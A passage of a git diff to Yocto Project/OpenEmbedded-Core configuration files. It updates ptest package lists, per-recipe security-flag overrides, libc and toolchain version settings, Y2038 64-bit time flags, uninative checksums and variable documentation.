- lttng-tools-ptest \
- openssh-ptest \
- openssl-ptest \
- perl-ptest \
- python3-ptest \
- strace-ptest \
- tcl-ptest \
- util-linux-ptest \
- valgrind-ptest \
+ apr \
+ bzip2 \
+ coreutils \
+ curl \
+ dbus \
+ e2fsprogs \
+ elfutils \
+ gettext \
+ glib-2.0 \
+ gnutls \
+ gstreamer1.0 \
+ less \
+ libevent \
+ libgcrypt \
+ libmodule-build-perl \
+ lttng-tools \
+ openssh \
+ openssl \
+ parted \
+ perl \
+ python3-cryptography \
+ python3 \
+ python3-click \
+ python3-xmltodict \
+ strace \
+ tar \
+ tcl \
+ util-linux \
+ valgrind \
+ lz4 \
+ libseccomp \
"
-PTESTS_SLOW_remove_riscv64 = "valgrind-ptest"
+# python3 ptests hang on qemuriscv64
+PTESTS_SLOW:remove:riscv64 = "valgrind python3"
+PTESTS_PROBLEMS:append:riscv64 = " valgrind python3"
+PTESTS_SLOW:remove:riscv32 = "lttng-tools strace valgrind"
+PTESTS_PROBLEMS:append:riscv32 = " lttng-tools strace valgrind"
+PTESTS_SLOW:append:libc-musl = " libc-test"
+PTESTS_SLOW:remove:x86 = "valgrind"
+PTESTS_PROBLEMS:append:x86 = " valgrind"
+
+# ruby \ # Timeout
+# rt-tests \ # Needs to be checked whether it runs at all
+# bash \ # Test outcomes are non-deterministic by design
+# ifupdown \ # Tested separately in lib/oeqa/selftest/cases/imagefeatures.py
+# libinput \ # Tests need an unloaded system to be reliable
+# libpam \ # Needs pam DISTRO_FEATURE
+# mdadm \ # tests are flaky in AB.
+# numactl \ # qemu not (yet) configured for numa; all tests are skipped
+# python3-numpy \ # requires even more RAM and (possibly) disk space; multiple failures
+
+PTESTS_PROBLEMS = "\
+ ruby \
+ rt-tests \
+ bash \
+ ifupdown \
+ libinput \
+ libpam \
+ mdadm \
+ numactl \
+ python3-license-expression \
+ python3-numpy \
+"
diff --git a/meta/conf/distro/include/rust_security_flags.inc b/meta/conf/distro/include/rust_security_flags.inc
new file mode 100644
index 0000000000..590bef17a0
--- /dev/null
+++ b/meta/conf/distro/include/rust_security_flags.inc
@@ -0,0 +1,7 @@
+# Build errors with PIE options enabled
+SECURITY_CFLAGS:pn-rust-native = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust-cross-${TARGET_ARCH} = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust = "${SECURITY_NO_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-rust-llvm = "${SECURITY_NO_PIE_CFLAGS}"
+
+SECURITY_LDFLAGS:pn-rust-cross-arm = " -lssp_nonshared -lssp"
diff --git a/meta/conf/distro/include/security_flags.inc b/meta/conf/distro/include/security_flags.inc
index 4e64eb99f9..d97a6edb0f 100644
--- a/meta/conf/distro/include/security_flags.inc
+++ b/meta/conf/distro/include/security_flags.inc
@@ -1,6 +1,6 @@
# Setup extra CFLAGS and LDFLAGS which have 'security' benefits. These
# don't work universally, there are recipes which can't use one, the other
-# or both so a blacklist is maintained here. The idea would be over
+# or both so an override is maintained here. The idea would be over
# time to reduce this list to nothing.
# From a Yocto Project perspective, this file is included and tested
# in the DISTRO="poky" configuration.
@@ -10,7 +10,9 @@ GCCPIE ?= "--enable-default-pie"
# _FORTIFY_SOURCE requires -O1 or higher, so disable in debug builds as they use
# -O0 which then results in a compiler warning.
-lcl_maybe_fortify ?= "${@oe.utils.conditional('DEBUG_BUILD','1','','-D_FORTIFY_SOURCE=2',d)}"
+OPTLEVEL = "${@bb.utils.filter('SELECTED_OPTIMIZATION', '-O0 -O1 -O2 -O3 -Ofast -Og -Os -Oz -O', d)}"
+
+lcl_maybe_fortify ?= "${@oe.utils.conditional('OPTLEVEL','-O0','','${OPTLEVEL} -D_FORTIFY_SOURCE=2',d)}"
# Error on use of format strings that represent possible security problems
SECURITY_STRINGFORMAT ?= "-Wformat -Wformat-security -Werror=format-security"
@@ -30,40 +32,40 @@ SECURITY_LDFLAGS ?= "-Wl,-z,relro,-z,now"
SECURITY_X_LDFLAGS ?= "-Wl,-z,relro"
# powerpc does not get on with pie for reasons not looked into as yet
-GCCPIE_powerpc = ""
-GLIBCPIE_powerpc = ""
-SECURITY_CFLAGS_remove_powerpc = "${SECURITY_PIE_CFLAGS}"
-SECURITY_CFLAGS_pn-libgcc_powerpc = ""
-
-SECURITY_CFLAGS_pn-glibc = ""
-SECURITY_CFLAGS_pn-glibc-testsuite = ""
-SECURITY_CFLAGS_pn-gcc-runtime = ""
-SECURITY_CFLAGS_pn-grub = ""
-SECURITY_CFLAGS_pn-grub-efi = ""
-SECURITY_CFLAGS_pn-mkelfimage_x86 = ""
-
-SECURITY_CFLAGS_pn-valgrind = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_pn-valgrind = ""
-SECURITY_CFLAGS_pn-sysklogd = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_pn-sysklogd = ""
+GCCPIE:powerpc = ""
+GLIBCPIE:powerpc = ""
+SECURITY_CFLAGS:remove:powerpc = "${SECURITY_PIE_CFLAGS}"
+SECURITY_CFLAGS:pn-libgcc:powerpc = ""
+
+SECURITY_CFLAGS:pn-glibc = ""
+SECURITY_CFLAGS:pn-glibc-testsuite = ""
+SECURITY_CFLAGS:pn-gcc-runtime = ""
+SECURITY_CFLAGS:pn-grub = ""
+SECURITY_CFLAGS:pn-grub-efi = ""
+SECURITY_CFLAGS:pn-mkelfimage:x86 = ""
+
+SECURITY_CFLAGS:pn-valgrind = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:pn-valgrind = ""
+SECURITY_CFLAGS:pn-sysklogd = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:pn-sysklogd = ""
# Recipes which fail to compile when elevating -Wformat-security to an error
-SECURITY_STRINGFORMAT_pn-busybox = ""
-SECURITY_STRINGFORMAT_pn-gcc = ""
+SECURITY_STRINGFORMAT:pn-busybox = ""
+SECURITY_STRINGFORMAT:pn-gcc = ""
-TARGET_CC_ARCH_append_class-target = " ${SECURITY_CFLAGS}"
-TARGET_LDFLAGS_append_class-target = " ${SECURITY_LDFLAGS}"
-TARGET_CC_ARCH_append_class-cross-canadian = " ${SECURITY_CFLAGS}"
-TARGET_LDFLAGS_append_class-cross-canadian = " ${SECURITY_LDFLAGS}"
+TARGET_CC_ARCH:append:class-target = " ${SECURITY_CFLAGS}"
+TARGET_LDFLAGS:append:class-target = " ${SECURITY_LDFLAGS}"
+TARGET_CC_ARCH:append:class-cross-canadian = " ${SECURITY_CFLAGS}"
+TARGET_LDFLAGS:append:class-cross-canadian = " ${SECURITY_LDFLAGS}"
-SECURITY_STACK_PROTECTOR_pn-gcc-runtime = ""
-SECURITY_STACK_PROTECTOR_pn-glibc = ""
-SECURITY_STACK_PROTECTOR_pn-glibc-testsuite = ""
+SECURITY_STACK_PROTECTOR:pn-gcc-runtime = ""
+SECURITY_STACK_PROTECTOR:pn-glibc = ""
+SECURITY_STACK_PROTECTOR:pn-glibc-testsuite = ""
+SECURITY_STACK_PROTECTOR:pn-ltp = ""
# All xorg module drivers need to be linked this way as well and are
# handled in recipes-graphics/xorg-driver/xorg-driver-common.inc
-SECURITY_LDFLAGS_pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
+SECURITY_LDFLAGS:pn-xserver-xorg = "${SECURITY_X_LDFLAGS}"
-TARGET_CC_ARCH_append_pn-binutils = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-gcc = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-gdb = " ${SELECTED_OPTIMIZATION}"
-TARGET_CC_ARCH_append_pn-perf = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-binutils = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-gcc = " ${SELECTED_OPTIMIZATION}"
+TARGET_CC_ARCH:append:pn-gdb = " ${SELECTED_OPTIMIZATION}"
diff --git a/meta/conf/distro/include/tclibc-baremetal.inc b/meta/conf/distro/include/tclibc-baremetal.inc
index 31d132e1d2..f3d27bbaae 100644
--- a/meta/conf/distro/include/tclibc-baremetal.inc
+++ b/meta/conf/distro/include/tclibc-baremetal.inc
@@ -18,22 +18,22 @@ USE_NLS ?= "no"
IMAGE_LINGUAS = ""
LIBC_DEPENDENCIES = ""
-EXTRA_OECONF_pn-gcc-cross-${TARGET_ARCH}_append = " --without-headers"
-DEPENDS_remove_pn-meta-toolchain = "virtual/libc virtual/${TARGET_PREFIX}compilerlibs"
+EXTRA_OECONF:pn-gcc-cross-${TARGET_ARCH}:append = " --without-headers"
+DEPENDS:remove:pn-meta-toolchain = "virtual/libc virtual/${TARGET_PREFIX}compilerlibs"
# certain compiler libs cannot be used without libc, avoid the dependence on compilerlibs
-BASEDEPENDS_remove_class-target = "virtual/${TARGET_PREFIX}compilerlibs"
+BASEDEPENDS:remove:class-target = "virtual/${TARGET_PREFIX}compilerlibs"
TARGET_OS = "elf"
-TARGET_OS_arm = "eabi"
+TARGET_OS:arm = "eabi"
-TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu"
+TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu nativesdk-sdk-provides-dummy"
TOOLCHAIN_HOST_TASK_ATTEMPTONLY ?= ""
TOOLCHAIN_TARGET_TASK ?= "libgcc-dev"
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_remove = "virtual/${MLPREFIX}libc zlib ncurses"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "virtual/${MLPREFIX}libc zlib ncurses"
# disable stack protector by default (no-libc, no protector implementation)
-SECURITY_STACK_PROTECTOR_libc-baremetal = ""
+SECURITY_STACK_PROTECTOR:libc-baremetal = ""
# disable pie security flags by default
-SECURITY_CFLAGS_libc-baremetal = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_libc-baremetal = ""
+SECURITY_CFLAGS:libc-baremetal = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-baremetal = ""
diff --git a/meta/conf/distro/include/tclibc-glibc.inc b/meta/conf/distro/include/tclibc-glibc.inc
index 3246490997..f48d16939e 100644
--- a/meta/conf/distro/include/tclibc-glibc.inc
+++ b/meta/conf/distro/include/tclibc-glibc.inc
@@ -13,10 +13,11 @@ PREFERRED_PROVIDER_virtual/libintl ?= "glibc"
PREFERRED_PROVIDER_virtual/libc ?= "glibc"
PREFERRED_PROVIDER_virtual/nativesdk-libc ?= "nativesdk-glibc"
PREFERRED_PROVIDER_virtual/libc-locale ?= "glibc-locale"
+PREFERRED_PROVIDER_virtual/crypt ?= "libxcrypt"
CXXFLAGS += "-fvisibility-inlines-hidden"
-LIBC_DEPENDENCIES = "libsegfault \
+LIBC_DEPENDENCIES = "\
glibc \
glibc-dbg \
glibc-dev \
diff --git a/meta/conf/distro/include/tclibc-musl.inc b/meta/conf/distro/include/tclibc-musl.inc
index 8badbbb40a..98d7a801ac 100644
--- a/meta/conf/distro/include/tclibc-musl.inc
+++ b/meta/conf/distro/include/tclibc-musl.inc
@@ -10,6 +10,7 @@ PREFERRED_PROVIDER_virtual/libc ?= "musl"
PREFERRED_PROVIDER_virtual/libiconv ?= "musl"
PREFERRED_PROVIDER_virtual/libintl ?= "musl"
PREFERRED_PROVIDER_virtual/crypt ?= "musl"
+PREFERRED_PROVIDER_virtual/libc-locale ?= "musl-locales"
PREFERRED_PROVIDER_virtual/nativesdk-libintl ?= "nativesdk-glibc"
PREFERRED_PROVIDER_virtual/nativesdk-libiconv ?= "nativesdk-glibc"
@@ -19,8 +20,6 @@ DISTRO_FEATURES_BACKFILL_CONSIDERED += "ldconfig"
CXXFLAGS += "-fvisibility-inlines-hidden"
-IMAGE_LINGUAS = ""
-
LIBC_DEPENDENCIES = "\
musl \
musl-dbg \
diff --git a/meta/conf/distro/include/tclibc-newlib.inc b/meta/conf/distro/include/tclibc-newlib.inc
index bf89b11288..238b430e49 100644
--- a/meta/conf/distro/include/tclibc-newlib.inc
+++ b/meta/conf/distro/include/tclibc-newlib.inc
@@ -33,15 +33,15 @@ ASSUME_PROVIDED += "virtual/crypt"
# Its useful to be able to extend newlib, but we dont provide a native variant of libgloss
NEWLIB_EXTENDED ?= "libgloss libgcc"
-BASE_DEFAULT_DEPS_append_class-target = " ${NEWLIB_EXTENDED}"
+BASE_DEFAULT_DEPS:append:class-target = " ${NEWLIB_EXTENDED}"
TARGET_OS = "elf"
-TARGET_OS_arm = "eabi"
+TARGET_OS:arm = "eabi"
-TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu"
+TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu nativesdk-sdk-provides-dummy"
TOOLCHAIN_TARGET_TASK ?= "${LIBC_DEPENDENCIES}"
-TOOLCHAIN_NEED_CONFIGSITE_CACHE_remove = "zlib ncurses"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "zlib ncurses"
# disable pie security flags by default
-SECURITY_CFLAGS_libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
-SECURITY_LDFLAGS_libc-newlib = ""
+SECURITY_CFLAGS:libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-newlib = ""
diff --git a/meta/conf/distro/include/tcmode-default.inc b/meta/conf/distro/include/tcmode-default.inc
index c5cc4bdcdf..643394f3eb 100644
--- a/meta/conf/distro/include/tcmode-default.inc
+++ b/meta/conf/distro/include/tcmode-default.inc
@@ -8,7 +8,7 @@ PREFERRED_PROVIDER_virtual/${TARGET_PREFIX}g++ = "gcc-cross-${TARGET_ARCH}"
PREFERRED_PROVIDER_virtual/${TARGET_PREFIX}compilerlibs = "gcc-runtime"
PREFERRED_PROVIDER_gdb = "gdb"
-PREFERRED_PROVIDER_virtual/${SDK_PREFIX}binutils-crosssdk ?= "binutils-crosssdk-${SDK_SYS}"
+PREFERRED_PROVIDER_virtual/${SDK_PREFIX}binutils ?= "binutils-crosssdk-${SDK_SYS}"
PREFERRED_PROVIDER_virtual/${SDK_PREFIX}gcc = "gcc-crosssdk-${SDK_SYS}"
PREFERRED_PROVIDER_virtual/${SDK_PREFIX}g++ = "gcc-crosssdk-${SDK_SYS}"
PREFERRED_PROVIDER_virtual/${SDK_PREFIX}compilerlibs = "nativesdk-gcc-runtime"
@@ -16,23 +16,19 @@ PREFERRED_PROVIDER_virtual/${SDK_PREFIX}compilerlibs = "nativesdk-gcc-runtime"
# Default libc config
PREFERRED_PROVIDER_virtual/gettext ??= "gettext"
-GCCVERSION ?= "10.%"
+GCCVERSION ?= "13.%"
SDKGCCVERSION ?= "${GCCVERSION}"
-BINUVERSION ?= "2.35%"
-GDBVERSION ?= "9.%"
-GLIBCVERSION ?= "2.32"
-LINUXLIBCVERSION ?= "5.4%"
-QEMUVERSION ?= "5.0%"
-GOVERSION ?= "1.14%"
-# This can not use wildcards like 8.0.% since it is also used in mesa to denote
-# llvm version being used, so always bump it with llvm recipe version bump
-LLVMVERSION ?= "10.0.1"
+BINUVERSION ?= "2.42%"
+GDBVERSION ?= "14.%"
+GLIBCVERSION ?= "2.39%"
+LINUXLIBCVERSION ?= "6.6%"
+QEMUVERSION ?= "8.2%"
+GOVERSION ?= "1.22%"
+RUSTVERSION ?= "1.75%"
PREFERRED_VERSION_gcc ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-cross-${TARGET_ARCH} ?= "${GCCVERSION}"
-PREFERRED_VERSION_gcc-cross-initial-${TARGET_ARCH} ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-crosssdk-${SDK_SYS} ?= "${SDKGCCVERSION}"
-PREFERRED_VERSION_gcc-crosssdk-initial-${SDK_SYS} ?= "${SDKGCCVERSION}"
PREFERRED_VERSION_gcc-cross-canadian-${TRANSLATED_TARGET_ARCH} ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-runtime ?= "${GCCVERSION}"
PREFERRED_VERSION_gcc-sanitizers ?= "${GCCVERSION}"
@@ -80,6 +76,14 @@ PREFERRED_VERSION_go-runtime ?= "${GOVERSION}"
PREFERRED_VERSION_nativesdk-go ?= "${GOVERSION}"
PREFERRED_VERSION_nativesdk-go-runtime ?= "${GOVERSION}"
-PREFERRED_VERSION_llvm = "${LLVMVERSION}"
-PREFERRED_VERSION_llvm-native = "${LLVMVERSION}"
-PREFERRED_VERSION_nativesdk-llvm = "${LLVMVERSION}"
+# Rust toolchain preferred versions:
+
+PREFERRED_VERSION_cargo ?= "${RUSTVERSION}"
+PREFERRED_VERSION_cargo-native ?= "${RUSTVERSION}"
+PREFERRED_VERSION_libstd-rs ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-cross-${TARGET_ARCH} ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-llvm ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-llvm-native ?= "${RUSTVERSION}"
+PREFERRED_VERSION_rust-native ?= "${RUSTVERSION}"
+
diff --git a/meta/conf/distro/include/time64.inc b/meta/conf/distro/include/time64.inc
new file mode 100644
index 0000000000..2e85753e55
--- /dev/null
+++ b/meta/conf/distro/include/time64.inc
@@ -0,0 +1,49 @@
+# To simulate Y2038 occurring in qemu, add to your build configuration:
+# QB_OPT_APPEND:append = " -rtc base=2040-02-02"
+#
+# Note that this does result in ptest failures on qemux86:
+# perl python3 dbus openssl glibc-tests openssh curl glib-2.0 tcl libmodule-build-perl
+# and a subset of those occurs in qemux86-64 as well:
+# curl python3 openssl openssl tcl python3-cryptography
+#
+# Working to address those (before Y2038 rolls in) will be appreciated.
+
+GLIBC_64BIT_TIME_FLAGS = " -D_TIME_BITS=64 -D_FILE_OFFSET_BITS=64"
+
+# Only needed for some 32-bit architectures, some relatively newer
+# architectures do not need it ( e.g. riscv32 )
+TARGET_CC_ARCH:append:arm = "${GLIBC_64BIT_TIME_FLAGS}"
+TARGET_CC_ARCH:append:armeb = "${GLIBC_64BIT_TIME_FLAGS}"
+TARGET_CC_ARCH:append:mipsarcho32 = "${GLIBC_64BIT_TIME_FLAGS}"
+TARGET_CC_ARCH:append:powerpc = "${@bb.utils.contains('TUNE_FEATURES', 'm32', '${GLIBC_64BIT_TIME_FLAGS}', '', d)}"
+TARGET_CC_ARCH:append:x86 = "${@bb.utils.contains('TUNE_FEATURES', 'm32', '${GLIBC_64BIT_TIME_FLAGS}', '', d)}"
+
+GLIBC_64BIT_TIME_FLAGS:pn-glibc = ""
+GLIBC_64BIT_TIME_FLAGS:pn-glibc-y2038-tests = ""
+GLIBC_64BIT_TIME_FLAGS:pn-glibc-testsuite = ""
+# pipewire-v4l2 explicitly sets _FILE_OFFSET_BITS=32 to get access to
+# both 32 and 64 bit file APIs. But it does not handle the time side?
+# Needs further investigation
+GLIBC_64BIT_TIME_FLAGS:pn-pipewire = ""
+# Pulseaudio override certain LFS64 functions e.g. open64 and intentionally
+# undefines _FILE_OFFSET_BITS, which wont work when _TIME_BITS=64 is set
+# See https://gitlab.freedesktop.org/pulseaudio/pulseaudio/-/issues/3770
+GLIBC_64BIT_TIME_FLAGS:pn-pulseaudio = ""
+# Undefines _FILE_OFFSET_BITS on purpose in
+# libsanitizer/sanitizer_common/sanitizer_platform_limits_posix.cpp
+GLIBC_64BIT_TIME_FLAGS:pn-gcc-sanitizers = ""
+
+# Caused by the flags exceptions above
+INSANE_SKIP:append:pn-gcc-sanitizers = " 32bit-time"
+INSANE_SKIP:append:pn-glibc = " 32bit-time"
+INSANE_SKIP:append:pn-glibc-y2038-tests = " 32bit-time"
+INSANE_SKIP:append:pn-pulseaudio = " 32bit-time"
+
+# Strace has tests that call 32 bit API directly, which is fair enough, e.g.
+# /usr/lib/strace/ptest/tests/ioctl_termios uses 32-bit api 'ioctl'
+INSANE_SKIP:append:pn-strace = " 32bit-time"
+
+# Additionally cargo_common class (i.e. everything written in rust)
+# has the same INSANE_SKIP setting.
+# Please check the comment in meta/classes-recipe/cargo_common.bbclass
+# for information about why, and the overall Y2038 situation in rust.
diff --git a/meta/conf/distro/include/uninative-flags.inc b/meta/conf/distro/include/uninative-flags.inc
index febf2a53e5..4638a7b4e9 100644
--- a/meta/conf/distro/include/uninative-flags.inc
+++ b/meta/conf/distro/include/uninative-flags.inc
@@ -4,4 +4,4 @@
# We therefore enable pie unconditionally for native recipes where static libs are
# used such as libiberty from binutils, for now, until our minimum distro set is
# all default pie.
-BUILD_CFLAGS_append_pn-binutils-native = " -pie -fpie"
+BUILD_CFLAGS:append:pn-binutils-native = " -pie -fpie"
diff --git a/meta/conf/distro/include/yocto-uninative.inc b/meta/conf/distro/include/yocto-uninative.inc
index 889695eae3..4ac66fd506 100644
--- a/meta/conf/distro/include/yocto-uninative.inc
+++ b/meta/conf/distro/include/yocto-uninative.inc
@@ -6,9 +6,10 @@
# to the distro running on the build machine.
#
-UNINATIVE_MAXGLIBCVERSION = "2.31"
+UNINATIVE_MAXGLIBCVERSION = "2.39"
+UNINATIVE_VERSION = "4.4"
-UNINATIVE_URL ?= "http://downloads.yoctoproject.org/releases/uninative/2.8/"
-UNINATIVE_CHECKSUM[aarch64] ?= "989187344bf9539b464fb7ed9c223e51f4bdb4c7a677d2c314e6fed393176efe"
-UNINATIVE_CHECKSUM[i686] ?= "cc3e45bc8594488b407363e3fa9af5a099279dab2703c64342098719bd674990"
-UNINATIVE_CHECKSUM[x86_64] ?= "a09922172c3a439105e0ae6b943daad2d83505b17da0aba97961ff433b8c21ab"
+UNINATIVE_URL ?= "http://downloads.yoctoproject.org/releases/uninative/${UNINATIVE_VERSION}/"
+UNINATIVE_CHECKSUM[aarch64] ?= "b61876130f494f75092f21086b4a64ea5fb064045769bf1d32e9cb6af17ea8ec"
+UNINATIVE_CHECKSUM[i686] ?= "9f28627828f0082cc0344eede4d9a861a9a064bfa8f36e072e46212f0fe45fcc"
+UNINATIVE_CHECKSUM[x86_64] ?= "d81c54284be2bb886931fc87281d58177a2cd381cf99d1981f8923039a72a302"
diff --git a/meta/conf/documentation.conf b/meta/conf/documentation.conf
index eee3c43ff2..b0591881ba 100644
--- a/meta/conf/documentation.conf
+++ b/meta/conf/documentation.conf
@@ -17,7 +17,7 @@ do_compile_ptest_base[doc] = "Compiles the runtime test suite included in the so
do_configure[doc] = "Configures the source by enabling and disabling any build-time and configuration options for the software being built"
do_configure_ptest_base[doc] = "Configures the runtime test suite included in the software being built"
do_deploy[doc] = "Writes deployable output files to the deploy directory"
-do_devpyshell[doc] = "Starts an interactive Python shell for development/debugging"
+do_pydevshell[doc] = "Starts an interactive Python shell for development/debugging"
do_devshell[doc] = "Starts a shell with the environment set up for development/debugging"
do_diffconfig[doc] = "Compares the old and new config files after running do_menuconfig for the kernel"
do_fetch[doc] = "Fetches the source code"
@@ -28,7 +28,7 @@ do_kernel_configcheck[doc] = "Validates the kernel configuration for a linux-yoc
do_kernel_configme[doc] = "Assembles the kernel configuration for a linux-yocto style kernel"
do_kernel_link_images[doc] = "Creates a symbolic link in arch/$arch/boot for vmlinux and vmlinuz kernel images"
do_listtasks[doc] = "Lists all defined tasks for a target"
-do_menuconfig[doc] = "Runs 'make menuconfig' for the kernel"
+do_menuconfig[doc] = "Runs 'make menuconfig' in the compilation directory"
do_package[doc] = "Analyzes the content of the holding area and splits it into subsets based on available packages and files"
do_package_index[doc] = "Creates or updates the index in the Package Feed area"
do_package_qa[doc] = "Runs QA checks on packaged files"
@@ -72,7 +72,6 @@ ASSUME_SHLIBS[doc] = "List of shlib:package[_version] mappings. Useful for lib p
AUTHOR[doc] = "Email address used to contact the original author(s) in order to send patches and forward bugs."
AUTO_SYSLINUXMENU[doc] = "Enables creating an automatic menu for the syslinux bootloader."
AUTOREV[doc] = "When SRCREV is set to the value of this variable, it specifies to use the latest source revision in the repository."
-AVAILABLE_LICENSES[doc] = "List of licenses found in the directories specified by COMMON_LICENSE_DIR and LICENSE_PATH."
#B
@@ -107,6 +106,7 @@ BUSYBOX_SPLIT_SUID[doc] = "For the BusyBox recipe, specifies whether to split th
#C
CACHE[doc] = "The directory holding the cache of the metadata."
+CCACHE_NATIVE_RECIPES_ALLOWED[doc] = "A list of native recipes to use Ccache, this variable is useful to bypass a circular dependency between ccache-native and cmake-native that inhibits to use Ccache in other native recipes."
CFLAGS[doc] = "Flags passed to the C compiler for the target system. This variable evaluates to the same as TARGET_CFLAGS."
CLASSOVERRIDE[doc] = "An internal variable specifying the special class override that should currently apply (e.g. "class-target", "class-native", and so forth)."
CLEANBROKEN[doc] = "Specifies if 'make clean' does not work for a recipe (and therefore the build system should not try to use it during do_configure)"
@@ -123,6 +123,8 @@ CONFLICT_MACHINE_FEATURES[doc] = "When a recipe inherits the features_check clas
CORE_IMAGE_EXTRA_INSTALL[doc] = "Specifies the list of packages to be added to the image. You should only set this variable in the conf/local.conf file in the Build Directory."
COREBASE[doc] = "Specifies the parent directory of the OpenEmbedded Core Metadata layer (i.e. meta)."
CONF_VERSION[doc] = "Tracks the version of local.conf. Increased each time build/conf/ changes incompatibly."
+CVE_CHECK_LAYER_EXCLUDELIST[doc] = "Defines which layers to exclude from cve-check scanning"
+CVE_CHECK_LAYER_INCLUDELIST[doc] = "Defines which layers to include during cve-check scanning"
#D
@@ -203,9 +205,9 @@ HOST_VENDOR[doc] = "The name of the vendor. Normally same as the TARGET_VENDOR."
ICECC_ENV_EXEC[doc] = "Points to the icecc-create-env script that you provide."
ICECC_PATH[doc] = "The location of the icecc binary."
-ICECC_USER_CLASS_BL[doc] = "Identifies user classes that you do not want the Icecream distributed compile support to consider."
-ICECC_USER_PACKAGE_BL[doc] = "Identifies user recipes that you do not want the Icecream distributed compile support to consider."
-ICECC_USER_PACKAGE_WL[doc] = "Identifies user recipes that use an empty PARALLEL_MAKE variable that you want to force remote distributed compilation on using the Icecream distributed compile support."
+ICECC_CLASS_DISABLE[doc] = "Identifies user classes that you do not want the Icecream distributed compile support to consider."
+ICECC_RECIPE_DISABLE[doc] = "Identifies user recipes that you do not want the Icecream distributed compile support to consider."
+ICECC_RECIPE_ENABLE[doc] = "Identifies user recipes that use an empty PARALLEL_MAKE variable that you want to force remote distributed compilation on using the Icecream distributed compile support."
IMAGE_BASENAME[doc] = "The base name of image output files."
IMAGE_BOOT_FILES[doc] = "Whitespace separated list of files from ${DEPLOY_DIR_IMAGE} to place in boot partition. Entries will be installed under a same name as the source file. To change the destination file name, pass a desired name after a semicolon (eg. u-boot.img;uboot)."
IMAGE_CLASSES[doc] = "A list of classes that all images should inherit."
@@ -224,7 +226,7 @@ IMAGE_ROOTFS_EXTRA_SPACE[doc] = "Defines additional free disk space created in t
IMAGE_ROOTFS_SIZE[doc] = "Defines the size in Kbytes for the generated image."
IMAGE_TYPES[doc] = "Specifies the complete list of supported image types by default."
INC_PR[doc] = "Helps define the recipe revision for recipes that share a common include file."
-INCOMPATIBLE_LICENSE[doc] = "Specifies a space-separated list of license names (as they would appear in LICENSE) that should be excluded from the build. Wildcard is supported, such as '*GPLv3'"
+INCOMPATIBLE_LICENSE[doc] = "Specifies a space-separated list of license names (as they would appear in LICENSE) that should be excluded from the build. Wildcard is supported, such as '*GPL-3.0*'"
INHIBIT_DEFAULT_DEPS[doc] = "Prevents the default dependencies, namely the C compiler and standard C library (libc), from being added to DEPENDS."
INHIBIT_PACKAGE_STRIP[doc] = "If set to "1", causes the build to not strip binaries in resulting packages."
INHERIT[doc] = "Causes the named class to be inherited at this point during parsing. The variable is only valid in configuration files."
@@ -252,6 +254,7 @@ KERNEL_MODULE_PROBECONF[doc] = "Lists kernel modules for which the build system
KERNEL_PACKAGE_NAME[doc] = "Name prefix for kernel packages. Defaults to 'kernel'."
KERNEL_PATH[doc] = "The location of the kernel sources. This variable is set to the value of the STAGING_KERNEL_DIR within the module class (module.bbclass)."
KERNEL_SRC[doc] = "The location of the kernel sources. This variable is set to the value of the STAGING_KERNEL_DIR within the module class (module.bbclass)."
+KERNEL_LOCALVERSION[doc] = "Appends a string to the name of the local version of the kernel image."
KFEATURE_DESCRIPTION[doc] = "Provides a short description of a configuration fragment. You use this variable in the .scc file that describes a configuration fragment file."
KMACHINE[doc] = "The machine as known by the kernel."
KTYPE[doc] = "Defines the kernel type to be used in assembling the configuration."
@@ -268,6 +271,7 @@ LICENSE_PATH[doc] = "Path to additional licenses used during the build."
LINUX_KERNEL_TYPE[doc] = "Defines the kernel type to be used in assembling the configuration."
LINUX_VERSION[doc] = "The Linux version from kernel.org on which the Linux kernel image being built using the OpenEmbedded build system is based. You define this variable in the kernel recipe."
LINUX_VERSION_EXTENSION[doc] = "A string extension compiled into the version string of the Linux kernel built with the OpenEmbedded build system. You define this variable in the kernel recipe."
+LOCALE_PATHS[doc] = "Whitespace separated list of paths that are scanned to construct locale packages. The list already contains ${datadir}/locale by default. Note that all subdirectories in these paths are assumed to be locales."
LOCALE_UTF8_IS_DEFAULT[doc] = "If set, locale names are renamed such that those lacking an explicit encoding (e.g. en_US) will always be UTF-8, and non-UTF-8 encodings are renamed to, e.g., en_US.ISO-8859-1. Otherwise, the encoding is specified by glibc's SUPPORTED file. Not supported for precompiled locales."
LOG_DIR[doc] = "Specifies the directory to which the OpenEmbedded build system writes overall log files. The default directory is ${TMPDIR}/log"
@@ -313,6 +317,7 @@ PACKAGE_EXCLUDE[doc] = "Packages to exclude from the installation. If a listed p
